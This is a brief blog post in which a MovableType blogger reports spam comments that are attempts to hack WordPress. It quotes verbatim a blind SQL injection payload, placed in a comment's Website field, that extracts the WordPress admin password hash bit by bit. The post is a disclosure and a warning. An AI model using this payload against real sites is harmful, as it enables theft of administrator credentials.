I saw a very strange comment in this blog, which is hold for review.
Website: ‘ AND 1=0) UNION SELECT 1 FROM wp_users WHERE user_login=’admin’ and substring(reverse(lpad(conv(substring(user_pass,8,1), 16, 2),4,’0′)),4,1)=’1′ /* (IP: 188.8.131.52 , svservers.com)
It is same as what is mentioned Attack of the WordPress-Hacking Spam Trackbacks.
The stupid spammer or hacker try the wrong Blog platform. I am not using WordPress. It is MovableType.